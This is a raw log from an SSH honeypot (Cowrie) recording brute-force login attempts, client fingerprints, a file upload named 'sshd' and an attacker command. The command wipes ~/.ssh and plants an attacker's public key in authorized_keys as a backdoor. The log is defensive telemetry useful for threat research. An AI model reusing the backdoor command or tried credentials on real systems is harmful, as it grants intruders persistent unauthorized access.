{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:13.641796Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:13.645723Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:13.859317Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:13.863027Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":60482,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a50445f7b06","protocol":"ssh","message":"New connection: 13.71.92.229:60482 (10.17.0.5:22) [session: 5a50445f7b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:14.066098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:14.070167Z","src_ip":"13.71.92.229","session":"5a50445f7b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:14.283981Z","src_ip":"13.71.92.229","session":"5a50445f7b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:15.166871Z","src_ip":"13.71.92.229","session":"5a50445f7b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:16.378559Z","src_ip":"13.71.92.229","session":"5a50445f7b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":60980,"dst_ip":"10.17.0.5","dst_port":22,"session":"9634b8e03c10","protocol":"ssh","message":"New connection: 13.71.92.229:60980 (10.17.0.5:22) [session: 9634b8e03c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:16.583113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:16.588524Z","src_ip":"13.71.92.229","session":"9634b8e03c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:16.799276Z","src_ip":"13.71.92.229","session":"9634b8e03c10","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:17.664824Z","src_ip":"13.71.92.229","session":"9634b8e03c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:17.881362Z","src_ip":"13.71.92.229","session":"9634b8e03c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:17.886161Z","src_ip":"13.71.92.229","session":"c22a0db7e5ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44152,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff944b095cdb","protocol":"ssh","message":"New connection: 60.199.224.2:44152 (159.203.135.109:22) [session: ff944b095cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:33.340676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:33.344704Z","src_ip":"60.199.224.2","session":"ff944b095cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:33.549433Z","src_ip":"60.199.224.2","session":"ff944b095cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohsen","password":"mohsenmohsen","message":"login attempt [mohsen/mohsenmohsen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:34.401860Z","src_ip":"60.199.224.2","session":"ff944b095cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:35.609535Z","src_ip":"60.199.224.2","session":"ff944b095cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58494,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbd21e1a6754","protocol":"ssh","message":"New connection: 2.57.122.210:58494 (159.203.135.109:22) [session: fbd21e1a6754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:54.042733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:54.048210Z","src_ip":"2.57.122.210","session":"fbd21e1a6754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:54.248262Z","src_ip":"2.57.122.210","session":"fbd21e1a6754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"solana","message":"login attempt [ubnt/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:54.567069Z","src_ip":"2.57.122.210","session":"fbd21e1a6754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:16:55.676013Z","src_ip":"2.57.122.210","session":"fbd21e1a6754","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/17f551e0a1ca78baf32038c6de781452386726293c0c222203e08f3eb08119b2","shasum":"17f551e0a1ca78baf32038c6de781452386726293c0c222203e08f3eb08119b2","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/17f551e0a1ca78baf32038c6de781452386726293c0c222203e08f3eb08119b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:17:46.154766Z","src_ip":"203.186.60.250","session":"2f0e78ef3d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"300.9","message":"Connection lost after 300.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:17:46.158546Z","src_ip":"203.186.60.250","session":"2f0e78ef3d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38092,"dst_ip":"10.17.0.5","dst_port":22,"session":"62063a911e52","protocol":"ssh","message":"New connection: 2.57.122.208:38092 (10.17.0.5:22) [session: 62063a911e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:17.763334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:17.911426Z","src_ip":"2.57.122.208","session":"62063a911e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:17.915410Z","src_ip":"2.57.122.208","session":"62063a911e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:19.166171Z","src_ip":"2.57.122.208","session":"62063a911e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:20.373094Z","src_ip":"2.57.122.208","session":"62063a911e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":51632,"dst_ip":"159.203.135.109","dst_port":22,"session":"077f9d57aee2","protocol":"ssh","message":"New connection: 34.85.163.94:51632 (159.203.135.109:22) [session: 077f9d57aee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:30.557337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:30.566875Z","src_ip":"34.85.163.94","session":"077f9d57aee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:30.578453Z","src_ip":"34.85.163.94","session":"077f9d57aee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohsen","password":"mohsenmohsen","message":"login attempt [mohsen/mohsenmohsen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:30.818968Z","src_ip":"34.85.163.94","session":"077f9d57aee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:31.832757Z","src_ip":"34.85.163.94","session":"077f9d57aee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.237.126.127","src_port":47690,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e186dc8fed","protocol":"ssh","message":"New connection: 135.237.126.127:47690 (10.17.0.5:22) [session: 83e186dc8fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:49.929257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:49.932951Z","src_ip":"135.237.126.127","session":"83e186dc8fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:49.942378Z","src_ip":"135.237.126.127","session":"83e186dc8fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.237.126.127","src_port":47692,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea7c9ae6773","protocol":"ssh","message":"New connection: 135.237.126.127:47692 (10.17.0.5:22) [session: aea7c9ae6773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:49.963400Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:49.967059Z","src_ip":"135.237.126.127","session":"aea7c9ae6773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:49.969834Z","src_ip":"135.237.126.127","session":"aea7c9ae6773","protocol":"ssh"}
